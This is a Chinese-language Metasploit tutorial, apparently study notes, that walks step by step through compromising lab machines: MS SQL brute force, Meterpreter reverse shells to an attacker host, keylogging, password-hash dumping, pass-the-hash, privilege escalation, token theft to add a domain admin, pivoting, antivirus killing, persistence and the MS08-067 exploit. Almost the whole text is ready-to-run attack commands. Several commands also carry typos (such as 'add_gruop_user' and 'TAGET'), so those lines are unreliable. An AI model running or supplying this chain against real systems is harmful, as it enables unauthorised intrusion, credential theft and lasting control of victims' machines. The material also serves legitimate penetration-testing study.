Meterpreter–Metasploit框架中,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回给你我们的一个控制通道。
Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码hash值提取、特权提升、跳板攻击。。。
一、攻陷XP虚拟机–取得Meterpreter shell
1、Nmap端口扫描
端口扫描,识别开放的服务,寻找可以进行漏洞利用的端口
msf>nmap -sT -A -Po 192.168.33.130
2、攻击MS SQL
对MS SQL的1433端口进行攻击。
(1)、先确认是否安装了MS SQL,尝试对MS SQL服务进行暴力破解获取密码。
TCP端口会进行动态分配,UDP1434端口没有变化,尝试如下扫描。
msf>nmap -sU 192.168.33.120 -p1434
(2)、以MS SQL为目标,使用mssql_ping模块找出MS SQL服务端口,进行用户口令猜测。但动静很大~
msf>use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping)>show options
msf auxiliary(mssql_ping)>set RHOSTS 192.168.33.1/24
msf auxiliary(mssql_ping)>set THREADS 20
msf auxiliary(mssql_ping)>exploit
(3)、暴力破解MS SQL服务器
使用mssql_login模块来破解
msf>use scanner/mssql/mssql_login
msf auxiliary(mssql_login)>show options
msf auxiliary(mssql_login)>set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
msf auxiliary(mssql_login)>set RHOSTS 192.168.33.130
msf auxiliary(mssql_login)>set THREADS 10
msf auxiliary(mssql_login)>set verbose false
msf auxiliary(mssql_login)>exploit
使用了Fast-Track,可以暴力破解和自动攻击MS SQL。
(4)、xp_cmdshell
以sa管理员账户运行MS SQL,执行SQL server中缺省装载的xp_cmdshell内建存储程序,xp_cmdshell允许直接与底层操作系统进行交互并执行命令。
为了在系统中注入攻击载荷,需要与xp_cmdshell进行交互,添加本地管理员,并通过一个可执行文件来植入攻击载荷。
msf>use windows/mssql/mssql_payload
msf exploit(mssql_payload)>show options
msf exploit(mssql_payload)>set payload windows/meterpreter/reverse_tcp
msf exploit(mssql_payload)>set LHOST 192.168.33.129
msf exploit(mssql_payload)>set LPORT 443
msf exploit(mssql_payload)set RHOST 192.168.33.130
msf exploit(mssql_payload)set PASSWORD password123
msf exploit(mssql_payload)>exploit
最终获得了Meterpreter的控制权。
回顾:
1、mssql_ping找到mssql服务;
2、mssql_login猜测MS SQL的sa的口令;
3、mssql_payload与MS SQL交互并上传Meterpreter shell,从而获得对系统的完整入侵。
(5)、Meterpreter基本命令
(6)、获取键盘记录
step1:ps获取目标系统正在运行的进程。
step2:migrate将会话迁移至某一进程空间。
step3:启动keylog_recorder模块。
step4:一段时间后使用CTRL-C终止。cat捕捉记录的内容。
meterpreter>ps
meterpreter>migrate 1668
meterpreter>run post/windows/capture/keylog_recorder
root@bt:~# cat /root/.msf3/loot/key.txt
二、挖掘用户名和密码
使用hashdump输入模块,提取系统的用户名和密码哈希值。
获取安全账号管理器(SAM)数据库,需要运行在SYSTEM权限下,以绕过注册表的限制,获取受保护的存有Windows用户名和密码的SAM存储。
use priv命令–意味着运行在特权账号上。
meterprter>use priv
meterprter>run post/windows/gather/hashdump
三、传递hash值
传递哈希值,仅仅需要密码的哈希值,不需要知道密码的明文序列。
使用windows/smb/psexec模块实现。
msf>use windows/smb/psexec
msf exploit(psexec)>set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec)>set LHOST 192.168.33.129
msf exploit(psexec)>set LPORT 443
msf exploit(psexec)>set RHOST 192.168.33.130
msf exploit(psexec)>set SMBPass 哈希值
msf exploit(psexec)>exploit
设置好参数后,将SMBPass变量设置为先前获得的密码Hash值。
四、权限提升
获取了目标系统的访问权限后,使用net user创建限制权限的普通用户账号。
step1:在XP目标机上创建用户bob password123用于
C:\Documents and Settings\Adminstrator>net user bob password123 /add
step2:创建基于Meterpreter的攻击载荷程序–payload.exe,复制到目标机并在bob账户下运行。
root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.33.129 LPORT=443 X>payload.exe
root@bt:/opt/framework3/msf3# msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.33.129 LPORT=443 E
meterpreter>getuid
创建Meterpreter攻击载荷时,需要指示反向shell连接到攻击机地址和端口。随后调用msfcli监听端口并等待,有连接时,将会开启Meterpreter shell。
在Meterpreter会话中进入到shell,查询bob用户权限。
查询完毕,ctrl+z退出shell,并保留Meterpreter会话。
meterpreter>shell
step3:获取SYSTEM权限。
use priv–加载priv扩展,以便访问某些特权模块
getsystem–尝试将权限提升到本地系统权限或管理员权限
getuid–检查获取的权限等级,若服务器用户名返回的是NT AUTHORITY/SYSTEM,则取得了管理员权限。
meterpreter>use priv
meterpreter>getsystem
meterpreter>getuid
使用rev2setf,切换回Meterpreter shell会话中初始用户账号。
五、令牌假冒
攫取目标系统中的一个Kerberos令牌,在身份认证环节,来假冒当初创建这个令牌用户。
Kerberos:一种网络认证协议,通过秘钥系统为客户机/服务器应用程序提供强大的认证服务。认证过程实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,假定网络上传送的数据包可以被人以读取、修改、插入。通过传统的密码技术,执行认证服务。
六、使用ps
step1:
ps–列举当前运行的应用程序以及运行这些应用的用户账号。
steal_token+PID参数–盗取域管理员用户的令牌。
meterpreter>ps
meterpreter>steal_token 380
step2:在某些情况下,ps命令不能列出域管理员运行的进程。
incognito–列举出系统上可以利用的令牌。
list_token -u–列举令牌
meterpreter>use incognito
meterpreter>list_token -u
step3:
冒充ihazdomainadmin令牌
添加账户–确保制定了-h参数,这个参数是域管理员账号添加到的目的地址
赋予域管理员的权限–确保制定了-h参数,这个参数是域管理员账号添加到的目的地址
meterpreter>impersonate_token SNEAKS.IN\\ihazdomainadmin
meterpreter>add_use omgcompromised p@55word! -h 192.168.33.50
meterpreter>add_gruop_user "Domain Admins" omgcompromised -h 192.168.33.50
七、跳板攻击–pivoting
允许使用已经取得控制的Meterpreter终端来攻击网络中的其他系统。
从一个子网攻击一个目标系统,通过这个系统建立路由去攻击其他机器。
step1:对XP机器进行攻击,成功后以此为据点,在对内部网络的一个Ubuntu系统进行攻击。
假定取得了对服务器的访问权限,现在关注点在如何与目标网络建立连接。
meterpreter>run get_local_subnets
meterpreter>background
msf exploit(handler)>route add 192.168.33.0 255.255.255.0 1
msf exploit(handler)>route print
step2:对目标Linux系统进行第二次渗透攻击。
msf exploit(handler)>use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap)>set payload linux/x86/shell/reverse_tcp
msf exploit(lsa_transnames_heap)>set LHOST 10.10.1.129
msf exploit(lsa_transnames_heap)>set RHOST 192.168.33.132
msf exploit(lsa_transnames_heap)>set LPORT 8080
msf exploit(lsa_transnames_heap)>ifconfig
msf exploit(lsa_transnames_heap)>exploit
八、使用Meterpreter脚本
run+脚本名字命令,可以在Meterpreter终端中运行扩展脚本。
run vnc–在远程系统上安装VNC会话。
screen_unlock–对目标机器上的桌面进行解锁。
1、迁移进程
若攻击针对IE之类的服务进行漏洞利用,当IE关闭,则Meterpreter会话也随之关闭。为了避免连接的丢失,使用迁移进程的后渗透攻击模块,将Meterpreter会话迁移到内存空间中其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接。
meterpreter>run post/windows/manage/migrate
2、关闭杀毒软件
meterpreter>run killav
3、获取系统密码Hash值
获取密码的hash副本,帮助实施hash传递攻击,或是暴力破解还原明文。
meterpreter>run hashdump
4、查看目标机上的所有流量
运行数据包记录脚本,所有被捕获的包都以.pcap的文件格式存储,并能够被Wireshark解析。
meterpreter>run packetrecorder -i 1
5、攫取系统信息
Scraper脚本–列举所有你想从系统得到的信息,攫取用户名和密码,下载全部注册表,挖掘密码hash值,手机系统信息以及输出HKEY_CURRENT_USER(HKCU)。
meterpreter>run scarper
6、控制持久化
Meterpreter的persistence脚本允许注入Meterpreter代理,其确保系统重启后Meterpreter还能运行。
运行persistence脚本让系统开机自动启动Meterpreter(-X),50秒(-i 50)重连一次,使用端口为443(-p 443)
meterpreter>run persistence -X -i 50 -p 443 -r 192.168.33.129
msf>use multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_tcp
msf exploit(handle)>set LPORT 443
msf exploit(handle)>set LHOST 192.168.33.129
msf exploit(handle)>exploit
使用完这个功能,必须确保完成后删除。如果忘记,任何攻击者都可以无需认证,获取这个系统的访问权。
移除Meterpreter代理。
九、向后渗透攻击模块转变
Meterpreter扩展脚本向后渗透攻击模块迁移。
run post/
十、将命令行shell升级为Meterpreter
root@bt:/opt/framework3/msf3# msfconsole
msf>search ms08_067
msf>use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi)>set payload windows/shell/reverse_tcp
msf exploit(ms08_067_netapi)>set TAGET 3
msf exploit(ms08_067_netapi)>setg LHOST 192.168.33.129
msf exploit(ms08_067_netapi)>setg LPORT 8080
msf exploit(ms08_067_netapi)>exploit -z
msf exploit(ms08_067_netapi)>sessions -u 1
msf exploit(ms08_067_netapi)>sessions -i 1
十一、附加组件Railgun组件操作Windows API
将Railgun添加到Metasploit框架,通过Meterpreter调用Windows API。
Meterpreter进入到交互式ruby shell(irb)。
meterpreter>irb
>>clinet.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")